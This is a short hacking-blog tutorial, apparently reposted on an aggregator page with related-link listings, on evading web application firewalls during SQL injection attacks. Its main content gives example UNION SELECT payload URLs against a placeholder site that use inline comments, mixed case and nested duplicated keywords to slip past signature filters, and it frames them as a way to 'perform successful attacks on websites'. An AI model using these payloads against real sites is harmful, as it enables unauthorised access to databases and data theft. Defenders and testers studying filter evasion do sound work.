SQL Injection Part 5 – Bypassing WAF

简介:   In my previous posts, i have explained about different types of SQL injections.
 
In my previous posts, i have explained about different types of SQL injections. Some times, when we try to retrieve data from SQLi vulnerable websites, we end up with forbidden error. Today i will explain why you get such errors and   how you can  bypass such errors and perform successful attacks on websites. If you have not read my previous posts and if you are new to SQLi, I would suggest you to read them before proceeding.


You can read them from here.

What is WAF?
WAF stands for Web Application Firewall. In order to prevent the attacks such as SQLi and XSS, administrators put Web Application Firewalls. These WAFs detect malicious attempts with the use of signature based filters and escapes defined within a list of rules. As a result of this design, they are vulnerable and can be easily bypassed.

How it works??
When the WAF detects malicious attempts, our input URL gives a forbidden error as shown in the following figure.


Our aim is to bypass this error and need to retrieve data from the database using some special techniques. There are many methods to bypass WAF. In this tutorial, i am going to show you some basic methods. These methods are especially for beginners.


Methods To Bypass WAF
Comments :-
Comments allow us to bypass a lot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query.

Actual query
http://vulnerablesite.com/detail.php?id=44 union all select 1,2,3,4,5—

Query To  Bypass the WAF
http://vulnerablesite.com/detailphp?id=44 /*!UNION*/ +/*!ALL*/+/*!SELECT*/+1,2,3,4,5—


Capitalization Of Functions:-
Some WAF’s will filter only lowercase alphabets, So we can easily evade this by case changing.

Actual query
http://vulnerablesite.com/detail.php?id=44 UNION SELECT 1,2,3,4,5—
Query to  bypass the WAF
http://vulnerablesite.com/detail.php?id=-1 uNiOn SeLeCt 1,2,3,4,5—

Replaced Keywords:-
Some WAF's will escape certain keywords such as UNION, SELECT, ORDER BY, etc. This can be used to our advantage by duplicating the detected word within another.

Actual query
http://vulnerablesite.com/detail.php?id=-1 UNION SELECT 1,2,3,4,5—
Query to  bypass the WAF
http://vulnerablesite.com/detail.php?id=-1 UNIunionON SEselectLECT 1,2,3,4,5--


Hope you liked this article. Feel free to leave your comments for further doubts and clarifications.


Read more: http://www.101hacker.com/2011/11/sql-injections-part-5-bypassing-waf.html#ixzz1lawTrV8h
目录
相关文章
|
6月前
|
SQL Java 数据库连接
sql injection violation, syntax error: syntax error, error in :‘**‘expect IDENTIFIER, actual IDENTIF
sql injection violation, syntax error: syntax error, error in :‘**‘expect IDENTIFIER, actual IDENTIF
117 0
|
SQL 安全 关系型数据库
DVWA-SQL注入(SQL Injection)低/中/高级别
DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤
989 1
DVWA-SQL注入(SQL Injection)低/中/高级别
|
SQL 安全 Linux
kali linux 网络渗透测试学习笔记(二)OWASP ZAP工具扫描SQL injection漏洞失败
按照惯例,利用OWASP ZAP工具扫描SQL injection漏洞时,应该很快就可以扫描出来,但是在笔者进行扫描的时候,却遇到了以下状况: 这说明了该工具根本就没能够扫描出SQL注入的漏洞,不知道该如何解决。
2209 0
|
SQL 关系型数据库 Java
|
SQL
Creating Backdoors Using SQL Injection
http://resources.infosecinstitute.com/backdoor-sql-injection/ ...
535 0
|
SQL
sql injection via xss
www.youtube.com/watch?feature=player_embedded&v=2b0VD4_rg8Q
799 0
|
SQL
bypassing waf's in sql injection
 http://packetstorm.wowhacker.com/papers/attack/bypass-waf.
768 0

热门文章

最新文章